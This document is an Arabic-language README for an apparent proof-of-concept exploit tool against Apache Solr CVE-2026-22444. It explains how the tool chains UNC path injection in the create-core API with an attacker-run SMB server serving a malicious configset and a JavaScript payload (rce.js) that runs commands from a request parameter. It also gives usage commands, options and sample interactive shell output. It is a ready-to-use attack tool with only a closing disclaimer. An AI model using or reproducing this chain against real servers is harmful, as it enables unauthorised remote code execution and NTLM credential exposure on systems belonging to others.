
استغلال لثغرة Apache Solr CVE-2026-22444، يستفيد من حقن مسار UNC وخادم SMB لتحقيق تنفيذ التعليمات البرمجية عن بُعد عبر مجموعة إعدادات خبيثة وحمولة JavaScript.
ثغرة التحقق من صحة مسار UNC في Apache Solr
CVE-2026-22444 هي ثغرة أمنية تؤثر على Apache Solr، تم الكشف عنها علنًا حوالي 20 يناير 2026. تنبع الثغرة من عدم كفاية التحقق من صحة المدخلات (CWE-20: Improper Input Validation) في بعض معاملات واجهة برمجة التطبيقات "create core" في Apache Solr، مما يسمح للمهاجم بتجاوز القواعد الأمنية عندما يعمل Solr في وضع "standalone"، وقد يؤدي ذلك إلى تسرب البيانات، أو تنفيذ التعليمات البرمجية عن بُعد (RCE)، أو كشف تجزئات NTLM.
على وجه التحديد، إذا لم يكن Solr مفعّلًا للمصادقة أو كان المستخدم يمتلك صلاحيات إنشاء النوى (cores)، يمكن للمهاجم إساءة استخدام هذه الواجهة عبر طلبات مصممة بعناية للوصول إلى ملفات محمية أو تنفيذ عمليات ضارة.
تم اكتشاف الثغرة في عام 2025 والإبلاغ عنها إلى Apache، وتم الكشف عنها علنًا على القائمة البريدية oss-security:
الإعلان الرسمي: https://www.openwall.com/lists/oss-security/2026/01/20/5
توجد الثغرة في CoreContainer.java، حيث يقوم مُنشئ CoreDescriptor بتشغيل عمليات الشبكة قبل تنفيذ التحقق من مسار UNC:
instancePath.toAbsolutePath() قد يحل مسارات UNC عبر الشبكةFiles.exists() ينفذ استدعاءات شبكةFiles.newInputStream() ينفذ قراءة من الشبكةassertPathAllowed() يحدث فقط بعد هذه العملياتexploit.py - سكربت استغلال لإثبات المفهومfiles/ - ملفات الدعم المطلوبة للاستغلال (configset)
rce.js - حمولة JavaScript لتنفيذ التعليمات البرمجية عن بُعدconf/ - ملفات تكوين Solr
solrconfig.xml - تعريف سلسلة معالجات التحديث الضارةschema.xml - تعريف مخطط Solrmanaged-schema - ملف المخطط المُدارrequirements.txt - تبعيات Pythonpip install -r requirements.txt
تشمل التبعيات:
requests>=2.25.0 - لطلبات HTTPimpacket>=0.10.0 - لإنشاء خادم SMBpython3 exploit.py <IP الهدف>
مثال:
python3 exploit.py 192.168.1.100
python3 exploit.py <IP الهدف> --port <المنفذ>
مثال:
python3 exploit.py 192.168.1.100 --port 8983
python3 exploit.py <IP الهدف> --smb-host <IP خادم SMB> --smb-port <منفذ SMB>
مثال:
python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445
python3 exploit.py <IP الهدف> --share-name <اسم المشاركة>
مثال:
python3 exploit.py 192.168.1.100 --share-name myshare
المواضع:
target_host عنوان IP لخادم Solr الهدف
المعاملات الاختيارية:
-h, --help عرض رسالة المساعدة والخروج
--port, -p PORT منفذ خادم Solr (الافتراضي: 8983)
--smb-host SMB_HOST IP خادم SMB (الافتراضي: الكشف التلقائي عن IP المحلي)
--smb-port SMB_PORT منفذ خادم SMB (الافتراضي: 445)
--share-name SHARE اسم مشاركة SMB (الافتراضي: malicious)
filesبعد الاستغلال الناجح، يوفر السكربت shell تفاعلي:
solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user
solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...
solr> exit
[*] exiting shell...
الأوامر المدعومة:
exit أو quit - الخروج من الـ shell التفاعليCtrl+C - المقاطعة والخروجتستغل الثغرة سلسلة التقنيات التالية:
configSet (مثل //attacker-ip/share)StatelessScriptUpdateProcessorFactory في Solr لتنفيذ كود JavaScriptpython3 exploit.py 192.168.35.31 \
--port 8983 \
--smb-host 192.168.35.50 \
--smb-port 445 \
--share-name exploit
CVE-2026-22444/
├── exploit.py # السكربت الرئيسي للاستغلال
├── requirements.txt # تبعيات Python
├── files/ # configset الضار
│ ├── rce.js # حمولة RCE بلغة JavaScript
│ └── conf/ # دليل تكوين Solr
│ ├── solrconfig.xml # تكوين معالج التحديث الضار
│ ├── schema.xml # تعريف المخطط
│ └── managed-schema # المخطط المُدار
└── README.md # هذا الملف
rce.js: هذه هي حمولة RCE الأساسية، وتقوم بما يلي:
cmd من معاملات الطلبsolrconfig.xml: يهيئ Solr لاستخدام سلسلة معالجات التحديث الضارة:
rce-chainrce.js/update لاستخدام هذه السلسلة⚠️ تحذير: هذه الأداة مخصصة فقط لاختبارات الأمان المصرح بها والأغراض التعليمية. الاستخدام غير المصرح به لهذه الأداة لمهاجمة الأنظمة غير قانوني.
يتبع هذا المشروع رخصة MIT. يرجى الرجوع إلى ملف LICENSE للحصول على التفاصيل.
هذه الأداة والمعلومات مخصصة لأغراض البحث الأمني والتعليم فقط. المؤلف غير مسؤول عن أي أضرار ناتجة عن إساءة استخدام هذه المعلومات أو الأداة. يجب على المستخدم الامتثال لجميع القوانين واللوائح المعمول بها، والحصول على التصريح المناسب قبل الاستخدام.